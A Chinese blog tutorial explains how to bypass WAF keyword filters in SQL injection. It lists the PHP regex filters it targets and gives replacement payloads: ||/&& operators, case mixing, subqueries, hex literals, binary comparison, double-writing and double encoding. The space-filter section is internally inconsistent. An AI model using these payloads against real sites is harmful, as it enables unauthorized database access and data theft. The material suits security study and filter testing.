美文网首页
如何绕过WAF之混淆注入原理

如何绕过WAF之混淆注入原理

作者: 搬码人 | 来源:发表于2021-07-31 10:38 被阅读0次
image.png

定义和原理

混淆和绕过
普通的注入方式过于明显,很容易被检测。
因此,需要改变攻击的手法,绕过检测和绕过,即混淆和绕过。
具体操作针对于服务端和WAF的防御机制有多种手段。

简单案例:
使用 union注入 ,可以看到回显结果union语句被过滤。

image.png

我们换UNion(改变大小写),可以看到我们想要的数据库名称已经成功回显。

image.png

绕过类型

||和&&绕过

过滤代码

preg_match('/(and|or)/i',$id)

过滤情况
1or1=1 1and1=1

绕过情况
1||1=1 1&&1=1

union过滤绕过

过滤代码

preg_match('/(and|or|union)/i',$id)

过滤情况
union select user,password from users
绕过情况

||(select user from users where user_id=1)='admin'

where 过滤绕过

过滤代码

preg_match('/(and|or|union|where)/i',$id)

过滤情况

||(select user from users where user_id = 1)='admin'

绕过情况

||(select user from users limit 1,1)='admin'
image.png

limit 过滤绕过
过滤代码

preg_match('/(and|or|union|where|limit)/i',$id);

过滤情况

||(select user from users limit 1,1)='admin'

绕过情况

||(select min(user) from group by user_id having user_id = 1)='admin'

group过滤绕过

过滤代码

preg_match('/(and|or|union|where|limit|group by)/i',$id);

过滤情况

||(select min(user) from group by user_id having user_id = 1)='admin'

绕过情况

|| select substr((select group_concat(name)name from test),1,1) = 't';

select 及单引号过滤绕过

过滤代码

preg_match('/(and|or|union|where|limit|group by|select|\')/i',$id);

绕过情况

||substr(name ,1,1)=0x74
||substr(name ,1,1)=unhex(74)
image.png

解决思路:将查询的单引号及其内容转换为相应的十六进制值。

具体案例:


image.png image.png image.png

hex、unhex及substr过滤绕过-binary

过滤代码

preg_match('/(and|or|union|where|limit|group by|select|\'|hex|unhex|substr)/i',$id);

过滤情况

||substr(name,1,1)=unhex(74)

绕过情况

||binary(name) = 0x74657374
image.png

空格过滤

过滤代码

preg_match('/(and|or|union|where|limit|group by|select|\'|hex|unhex|substr|s)/i',$id);

过滤情况

||binary(name)=0x74657374

绕过情况

||binary(name)=0x74657374

具体案例


image.png image.png

双写绕过

image.png

双重编码绕过

image.png

相关文章

  • 如何绕过WAF之混淆注入原理

    定义和原理 混淆和绕过普通的注入方式过于明显,很容易被检测。因此,需要改变攻击的手法,绕过检测和绕过,即混淆和绕过...

  • 🎪waf绕过

    ? waf注入绕过检测方法 云waf直接找真实ip就可绕过 方法总结:绕过waf的方法: 1、白名单绕过2、大小写...

  • 注入waf绕过(进阶)

    https://www.cnblogs.com/backlion/p/10569976.html 一· 利用pip...

  • sql 注入绕过waf

    6.特殊符号 特殊字符是什么?除了字符串和数字都是特殊字符 比如~!@#¥%…………&*()— 乌云的一篇waf绕...

  • 注入waf绕过(基础)

    sql注入过滤的绕过 一直感觉自己的注入技术太过垃圾,这里利用python来测试一下如果利用等价的字符来绕过特定...

  • Sql 注入 绕过 WAF

    1.大小写绕过 2.替换关键字 3.URL双重编码 4.使用注释 5.同功能的函数替换 6.特殊符号 7.HTTP...

  • [SQL注入]一些绕过WAF的技术

    [SQL注入]一些绕过WAF的技术 本文是在各种方法的WAF的总结,我们可以在测试bypass WAF使用下面的方...

  • SQL注入专题(三)

    一、WAF及绕过WAF原理介绍 WAF的定义: waf,即web应用防火墙,是通过执行一系列针对http/http...

  • 绕过waf进行SQL注入

    转自:https://security.tencent.com/index.php/blog/msg/66 waf...

  • 绕过waf方法

    参考:绕过WAF、安全狗知识整理 - 珍惜少年时 - 博客园 SQL注入 | 9种绕过Web应用程序防火墙的方式 ...

网友评论

      本文标题:如何绕过WAF之混淆注入原理

      本文链接:https://www.haomeiwen.com/subject/vivfvltx.html